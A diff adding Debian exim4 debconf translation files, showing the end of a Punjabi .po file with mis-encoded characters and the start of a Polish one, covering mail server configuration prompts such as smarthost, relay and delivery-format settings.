+"ਜੇਕਰ ਤà©à¨¸à©€à¨‚ ਇਹ ਮà©à©±à¨² ਖਾਲੀ ਛੱਡ ਦਿੱਤਾ ਤਾਂ, ਇਹਨਾਂ ਪੱਤਰਾਂ ਨੂੰ /var/mail/mail ਵਿੱਚ ਸੰਭਾਲਿਆ ਜਾਵੇਗਾ, "
+"ਜਿਸ ਦੀ ਸਿਫ਼ਾਰਸ਼ ਨਹੀਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"postmaster, root, ਅਤੇ ਹੋਰ ਸਿਸਟਮ ਖਾਤੇ ਅਕਸਰ ਅਸਲ ਸਿਸਟਮ ਖਾਤਿਆਂ ਲਈ ਉਪਭੋਗੀ ਖਾਤਿਆਂ ਲਈ "
+"ਦਿਸ਼ਾ ਪਰਿਵਰਤਨ ਕਰਦੇ ਹਨ। ਯਾਦ ਰੱਖੋ ਕਿ ਪੋਸਟਮਾਸਟਰ ਦਾ ਪੱਤਰ ਉਸ ਸਿਸਟਮ ਉੱਤੇ ਪੜà©à¨¹à¨¿à¨† ਜਾਣਾ ਚਾਹੀਦਾ "
+"ਹੈ, ਨਾ ਕਿ ਕਿਤੇ ਹੋਰ ਅੱਗੇ ਭੇਜਣਾ ਚਾਹੀਦਾ ਹੈ ਤਾਂ ਕਿ (ਘੱਟੋ-ਘੱਟ) ਉਪਭੋਗੀ ਆਪਣੀ ਮਸ਼ੀਨ ਤੋਂ ਪੱਤਰ ਬਾਹਰ ਨਾ "
+"ਭੇਜ ਸਕਣ। ਲੋਕਲ ਡਿਲਵਰੀ ਲਈ 'real-' ਅਗੇਤਰ ਦੀ ਵਰਤੋਂ ਕਰੋ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "ਖਾਲੀ ਥਾਂ ਛੱਡ ਕੇ ਇੱਕ ਤੋਂ ਵੱਧ ਉਪਭੋਗੀ ਨਾਂ ਦਿੱਤੇ ਜਾ ਸਕਦੇ ਹਨ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "ਆਉਣ ਵਾਲੇ SMTP ਕà©à¨¨à©ˆà¨•à¨¸à¨¼à¨¨à¨¾à¨‚ ਨੂੰ ਸà©à¨¨à¨£ ਲਈ IP-ਸਿਰਨਾਵਾਂ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ IP ਸਿਰਨਾਵੇਂ ਦਿਓ ਜੀ। Exim SMTP ਡੈਮਨ ਸਭ IP ਸਿਰਨਾਵਿਆਂ ਤੋਂ ਸà©à¨£à©‡à¨—ਾ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr "ਜੇਕਰ ਤà©à¨¸à©€à¨‚ ਇਹ ਮà©à©±à¨² ਖਾਲੀ ਛੱਡਿਆ ਤਾਂ, Exim ਸਭ ਉਪਲੱਬਧ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸਾਂ ਕà©à¨¨à©ˆà¨•à¨¸à¨¼à¨¨à¨¾à¨‚ ਲਈ ਸà©à¨£à©‡à¨—ਾ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਲੋਕਲ ਸੇਰਵਿਸਾਂ ਰਾਹੀਂ ਹੀ ਮੇਲ ਸਿੱਧੀ ਲੈਂਦਾ ਹੈ (ਅਤੇ ਹੋਰ ਹੋਸਟਾਂ ਤੋਂ ਨਹੀਂ), ਤਾਂ ਲੋਕਲ "
+"Exim ਡੈਮਨ ਨਾਲ ਬਾਹਰੀ ਕà©à¨¨à©ˆà¨•à¨¸à¨¼à¨¨à¨¾à¨‚ ਉੱਤੇ ਪਾਬੰਦੀ ਲਗਾ ਸਕਦੇ ਹੋ। ਇਨà©à¨¹à¨¾à¨‚ ਸਰਵਿਸਾਂ ਵਿੱਚ ਈਮੇਲ ਪਰੋਗਰਾਮ "
+"(MUA) ਸ਼ਾਮਲ ਹਨ, ਜੋ ਕਿ ਲੋਕਲ-ਹੋਸਟ ਦੇ ਨਾਲ ਨਾਲ fetchmail ਨਾਲ ਸੰਪਰਕ ਕਰਦੇ ਹਨ। ਬਾਹਰੀ ਕà©à¨¨à¨•à©ˆà¨¸à¨¼à¨¨ "
+"ਅਸੰਭਵ ਹੋ ਜਾਂਦੇ ਹਨ, ਜਦੋਂ 127.0.0.1 ਇੱਥੇ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ, ਕਿਉਂਕਿ ਇਹ ਪਬਲਿਕ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸਾਂ ਤੋਂ "
+"ਸà©à¨£à¨¨ ਨੂੰ ਆਯੋਗ ਕਰ ਦਿੰਦੇ ਹਨ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "ਕੀ DNS-ਕਿਊਰੀ ਦੀ ਗਿਣਤੀ ਘੱਟੋ-ਘੱਟ ਰੱਖਣੀ ਹੈ (ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Exim ਦੇ ਸਧਾਰਨ ਕੰਮ ਕਰਨ ਦੌਰਾਨ ਸ਼à©à¨°à©‚ ਵੇਲੇ DNS-ਖੋਜ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਤਾਂ ਕਿ ਸੰਰਚਨਾ ਫਾਇਲ ਵਿੱਚ ਮà©à©±à¨¢à¨²à©‡ "
+"ਮà©à©±à¨²à¨¾à¨‚ ਦੀ ਗਿਣਤੀ ਨੂੰ ਅਤੇ ਲਾਗ-ਇਨ ਕਰਨ ਲਈ ਸੰਭਾਲਿਆ ਜਾ ਸਕੇ, ਜਦੋਂ ਕਿ ਪੱਤਰ ਸà©à¨¨à©‡à¨¹à©‡ ਭੇਜੇ ਜਾਂ ਪà©à¨°à¨¾à¨ªà¨¤ ਕੀਤੇ "
+"ਜਾਂਦੇ ਹਨ। ਇਹ ਲਾਗ ਰੱਖਣ ਵਾਸਤੇ ਹੈ ਅਤੇ ਸੰਰਚਨਾ ਵਿੱਚ ਪੱਕੇ ਮà©à©±à¨² ਰੱਖਣ ਦੀ ਗਿਣਤੀ ਕਰਨ ਲਈ ਹੈ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਲਈ ਇੱਕ ਪੂਰਾ DNS ਸੇਵਾ ਉਪਲੱਬਧ ਨਹੀਂ ਹੈ (ਉਦਾਹਰਨ ਲਈ ਜੇਕਰ ਇੰਟਰਨੈੱਟ ਡਾਇਲਅੱਪ ਤਾਰ ਹੈ "
+"ਤਾਂ) ਇਹ ਬੇਲੋੜੀਦਾ ਕà©à¨°à¨® ਹੋਵੇਗਾ। ਜੇਕਰ ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ ਦੀ ਵਰਤੋਂ ਕਰਨ ਲਈ ਇੱਕ ਹੋਸਟ ਬਿਨਾਂ ਸਥਿਰ DNS-"
+"ਨੇਮਸਰਵਰ-ਅਸੈੱਸ ਦੇ ਹੈ ਤਾਂ ਇਹ ਬੇਲੋੜੀਦਾ ਕà©à¨°à¨® ਹੋ ਸਕਦਾ ਹੈ, ਜਦੋਂ ਕਿ exim ਸ਼à©à¨°à©‚ ਹੋਵੇ ਜਾਂ ਕਤਾਰ ਚੱਲ ਰਹੀ "
+"ਹੋਵੇ (ਸà©à¨¨à©‡à¨¹à©‡ ਦੀ ਉਡੀਕੇ ਕਿਤੇ ਬਿਨਾਂ) ਤਾਂ ਇਹ ਬੇਲੋੜੀਦਾ ਡਾਇਲ-ਅੱਪ-ਈਵੈਂਟ ਸ਼à©à¨°à©‚ ਕਰ ਸਕਦਾ ਹੈ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"ਇਹ ਚੋਣ ਕਰਨੀ ਚਾਹੀਦੀ ਹੈ, ਜੇਕਰ ਇਹ ਸਿਸਟਮ ਡਾਇਲ-ਆਨ-ਡਿਮਾਂਡ ਵਰਤਦਾ ਹੈ। ਜੇਕਰ ਹਮੇਸ਼ਾ ਹੀ ਇੰਟਰਨੈੱਟ "
+"ਉਪਲੱਬਧ ਰਹਿੰਦਾ ਹੈ ਤਾਂ ਇਹ ਚੋਣ ਆਯੋਗ ਹੋਵੇਗੀ।"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ਮੇਲ ਸਰਵਰ ਸੰਰਚਨਾ"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "ਕੀ ਸੰਰਚਨਾ ਨੂੰ ਛੋਟੀਆਂ ਫਾਇਲਾਂ ਵਿੱਚ ਵੰਡਣਾ ਹੈ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"ਡੇਬੀਅਨ exim4 ਪੈਕੇਜ 'unsplit configuration' ਢੰਗ, ਇੱਕ ਇੱਕਲੀ ਫਾਇਲ (/etc/exim4/exim4."
+"conf.template) ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹੈ ਜਾਂ 'split configuration', ਅੰਤਰਿਮ ਸੰਰਚਨਾ ਫਾਇਲ "
+"ਬਣਾਉਣ ਲਈ /etc/exim4/conf.d/ ਵਿੱਚ 50 ਤੋਂ ਵੱਧ ਫਾਇਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦਾ ਹੈ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"ਵੱਧ ਸੋਧਾਂ ਕਰਨ ਲਈ ਪਹਿਲਾਂ ਢੰਗ ਠੀਕ ਹੈ ਅਤੇ ਆਮ ਕਰਕੇ ਵੱਧ ਸਥਿਰ ਵੀ, ਜਦੋਂ ਕਿ ਬਾਅਦ ਵਾਂਗ ਥੋੜà©à¨¹à©€à¨†à¨‚ ਸੋਧਾਂ "
+"ਕਰਨ ਲਈ ਵਧੀਆ ਹੈ, ਪਰ ਵੱਧ ਖਤਰਨਾਕ ਹੈ, ਜੇਕਰ ਵੱਧ ਸੋਧਾਂ ਕੀਤੀਆਂ ਜਾਣ ਤਾਂ ਇਹ ਖਰਾਬ ਵੀ ਹੋ ਸਕਦਾ ਹੈ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"split ਅਤੇ unsplit ਸੰਰਚਨਾ ਬਾਰੇ ਹੋਰ ਜਾਣਕਰੀ /usr/share/doc/exim4-base ਵਿੱਚ ਖਾਸ ਡੇਬੀਅਨ "
+"README ਫਾਇਲਾਂ ਵਿੱਚ ਹੈ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "ਕੀ ਬਾਹਰੀ ਭੇਜਣ ਮੇਲ ਵਿੱਚ ਲੋਕਲ ਮੇਲ ਨਾਂ ਓਹਲੇ ਰੱਖਣਾ ਹੈ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"ਇੱਕ ਵੱਖਰੇ ਸਿਸਟਮ ਤੋਂ ਤਿਆਰ ਹà©à©°à¨¦à¨¾ ਵੇਖਾਉਣ ਲਈ ਤà©à¨¸à©€à¨‚ ਬਾਹਰ ਜਾਣ ਵਾਲੇ ਪੱਤਰ ਦਾ ਸਿਰਲੇਖ ਮà©à©œ ਲਿਖ ਸਕਦੇ ਹੋ, "
+"ਜਿੱਥੇ ਕਿ ਫਾਰਮ ਵਿੱਚ '${mailname}', 'localhost' ਅਤੇ '${dc_other_hostnames}' ਜਵਾਬ, "
+"ਭੇਜਣ ਵਾਲਾ ਅਤੇ ਵਾਪਸੀ ਮਾਰਗ ਹਨ।"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ ਵਿੱਚ mbox ਫਾਰਮੈਟ"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "ਘਰ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ Maildir ਫਾਰਮੈਟ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "ਲੋਕਲ ਮੇਲ ਲਈ ਭੇਜਣ ਢੰਗ:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim ਲੋਕਲ ਡਿਲਵਰ ਕੀਤੀਆਂ ਈ-ਮੇਲਾਂ ਨੂੰ ਵੱਖ ਵੱਖ ਫਾਰਮੈਟ 'ਚ ਸੰਭਾਲਣ ਯੋਗ ਹੈ। ਸਭ ਤੋਂ ਆਮ ਹਨ mbox ਅਤੇ "
+"Maildir। mbox /var/mail/ ਮੇਲ ਫੋਲਡਰ 'ਚ ਸੰਭਾਲੇ ਸਭ ਲਈ ਇੱਕ ਇੱਕਲੀ ਫਾਇਲ ਵਰਤਦੀ ਹੈ। Maildir "
+"ਫਾਰਮੈਟ ਇੱਕ ਇੱਕਲੇ ਸà©à¨¨à©‡à¨¹à©‡ ਲਈ ~/Maildir/ ਵਿੱਚ ਇੱਕ ਵੱਖਰੀ ਫਾਇਲ ਸੰਭਾਲਦੀ ਹੈ।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"ਯਾਦ ਰੱਖ ਕਿ ਡੇਬੀਅਨ 'ਚ ਆਮ ਮੇਲ ਸੰਦ, ਲੋਕਲ ਡਿਲਵੀ ਢੰਗ ਤੋਂ ਬਿਨਾਂ, ਲਈ mbox ਮੂਲ ਰੂਪ ਵਿੱਚ ਹà©à©°à¨¦à¨¾ ਹੈ।"
diff --git a/debian/po/pl.po b/debian/po/pl.po
new file mode 100644
index 0000000..926758e
--- /dev/null
+++ b/debian/po/pl.po
@@ -0,0 +1,636 @@
+# translation of exim_exim_debian_pl.po to Polish
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+# Tomasz Z. Napierala <zen@debian.linux.org.pl>, 2004.
+# Bartosz Fenski <fenio@debian.org>, 2004
+# Marcin Owsiany <porridge@debian.org>, 2008
+msgid ""
+msgstr ""
+"Project-Id-Version: exim_exim_debian_pl\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-04-27 19:34+0100\n"
+"Last-Translator: Marcin Owsiany <porridge@debian.org>\n"
+"Language-Team: Polish <debian-l10-polish@lists.debian.org>\n"
+"Language: pl\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.3.1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Usunąć niedostarczoną pocztę z katalogu kolejki?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"W katalogu kolejki exima /var/spool/exim4/input istnieją wiadomości, które "
+"nie zostały jeszcze dostarczone. Po usunięciu exima będą tam leżały "
+"niedostarczone, aż do ponownej jego instalacji."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Jeśli nie wybierzesz tej opcji, katalog kolejki nie zostanie usunięty, co "
+"pozwoli na dostarczenie oczekujących wiadomości w przyszłości, jeśli Exim "
+"zostanie ponownie zainstalowany."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Uruchom rekonfiguracjÄ™ exim4-config, zamiast tego pakietu"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Konfiguracja Exim4 znajduje siÄ™ w osobnym pakiecie, exim4-config. Aby jÄ… "
+"zmienić, uruchom \"dpkg-reconfigure exim4-config\"."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "ośrodek internetowy - poczta jest przesyłana bezpośrednio przez SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"poczta wysyłana przez pośrednika - otrzymywana przez SMTP lub fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "poczta wysyłana przez pośrednika - bez dostarczania lokalnego"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "tylko dostarczanie lokalne - bez dostępu do sieci"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "nie konfiguruj w tym momencie"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Ogólne typy konfiguracji poczty:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Wybierz typ konfiguracji serwera poczty, który najbardziej Ci odpowiada."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Komputery bez stałego adresu IP, w tym połączenia wdzwaniane, powinny "
+"wysyłać pocztę za pośrednictwem innego komputera o stałym adresie, zwanego "
+"\"smarthost\", ponieważ wiele systemów w Internecie odrzuca pocztę wysyłaną "
+"bezpośrednio ze zmiennych adresów IP w obawie przed spamem."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Taki system może lokalnie przyjmować skierowaną do niego pocztę. Można też "
+"zupełnie wyłączyć lokalne dostarczanie poczty (oprócz poczty do użytkowników "
+"root i postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Naprawdę pozostawić system poczty nieskonfigurowany?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Twój system poczty pozostanie bezużyteczny dopóki nie zostanie "
+"skonfigurowany. Można go oczywiście skonfigurować później: albo ręcznie, "
+"albo uruchamiajÄ…c jako root polecenie \"dpkg-reconfigure exim4-config\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nazwa pocztowa systemu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"Nazwa pocztowa\" to nazwa domeny dopisywana automatycznie do adresów bez "
+"domeny."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Nazwa ta będzie również używana przez inne programy, powinna ona być pełną "
+"nazwÄ… domeny."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Jeśli przykładowy adres pocztowy na tym systemie to bla@przyklad.pl, to "
+"właściwą wartością tej opcji jest przyklad.pl."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Nazwa ta nie będzie się pojawiać w polu From: wychodzących wiadomości jeżeli "
+"włączysz mechanizm przepisywania."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Inne systemy docelowe dla których poczta jest przyjmowana:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Wprowadź rozdzieloną średnikami listę domen dla których ten komputer jest "
+"miejscem docelowym. Domeny te sÄ… popularnie zwane \"domenami lokalnymi\". "
+"LokalnÄ… nazwa komputera (${fqdn}) i \"localhost\" zostanÄ… automatycznie "
+"dopisane do wprowadzonej listy."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Domyślnie wszystkie domeny lokalne będą traktowane tak samo. Jeśli domeny a."
+"przyklad i b.przyklad sÄ… domenami lokalnymi, to poczta dla ktos@a.przyklad i "
+"ktos@b.przyklad trafi w to samo miejsce. Jeśli różne domeny mają być "
+"traktowane w różny sposób, konieczna jest późniejsza modyfikacja plików "
+"konfiguracyjnych."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domeny dla których przekazywać pocztę:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Wprowadź rozdzieloną średnikami listę domen adresatów, dla których ten "
+"system będzie przekazywać pocztę, na przykład jako zapasowy MX lub bramka "
+"pocztowa. Poczta dla tych domen będzie przyjmowana z dowolnego miejsca "
+"Internetu, a następnie dostarczana według lokalnych zasad."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Nie uwzględniaj tutaj lokalnych domen. Możesz używać znaku \"*\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Komputery dla których przekazywać pocztę:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Wprowadź rozdzieloną średnikami listę zakresów adresów IP, od których ten "
+"system ma bezwarunkowo przyjmować pocztę, działając na zasadzie pośrednika."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Należy użyć standarowego formatu adres/długość (np. 194.222.242.0/24 lub "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Jeśli ten system nie powinien być pośrednikiem dla żadnego innego systemu, "
+"zostaw tÄ… listÄ™ pustÄ…."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Widoczna nazwa domeny dla lokalnych użytkowników:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Wybrano opcjÄ™ ukrywania lokalnej nazwy pocztowej w poczcie wychodzÄ…cej. Z "
+"tego powodu musisz wprowadzić nazwę domeny, jaka ma być używana w adresach "
+"lokalnych nadawców."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Adres IP lub nazwa pośrednika przyjmującego wychodzącą pocztę:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Proszę podać adres IP lub nazwę serwera poczty, który będzie przyjmował całą "
